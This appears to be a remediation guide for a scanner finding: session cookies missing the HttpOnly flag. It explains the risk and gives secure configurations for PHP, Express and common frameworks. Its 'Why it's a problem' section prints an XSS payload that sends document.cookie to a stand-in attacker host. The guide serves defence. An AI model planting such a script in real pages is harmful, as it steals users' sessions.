Session cookie is missing the HttpOnly flag

What it is

A cookie set without the HttpOnly flag is readable from JavaScript via document.cookie. An attacker who manages to get any piece of JS onto the page (XSS) can then read it and exfiltrate it.

Why it’s a problem

Without HttpOnly, all the attacker needs is one small XSS (a comment field, a profile bio, a search query) and it’s game over — they steal the session cookie and log in as you. Here’s the usual payload:

<script>
fetch('https://attacker.example/' + btoa(document.cookie))
</script>

With HttpOnly, document.cookie is empty and the attack fails. XSS on its own is still a problem, but at least the session survives.

How to fix it

HttpOnly is a flag — you set it when the cookie is created. Almost every framework enables it by default; sometimes someone explicitly turns it off.

PHP

# php.ini
session.cookie_httponly = 1

# or directly in code
setcookie('name', $value, [
    'httponly' => true,
    'secure'   => true,
    'samesite' => 'Lax',
]);

Node.js (express)

res.cookie('session', token, {
    httpOnly: true,
    secure: true,
    sameSite: 'lax',
});

Laravel / Django / Rails

HttpOnly is on by default in every modern session middleware. If your finding shows a cookie without it, someone turned it off in the config. Restore the default.

What must not have HttpOnly

Cookies that JavaScript reads on purpose — typically the CSRF token (for example, Laravel’s XSRF-TOKEN). That’s fine, because an attacker with XSS no longer needs the CSRF token.

A cookie holding a session identifier or an auth token, however, must always be HttpOnly.

Verification

DevTools → Application → Cookies → the HttpOnly column. For session/auth cookies it must be true.

References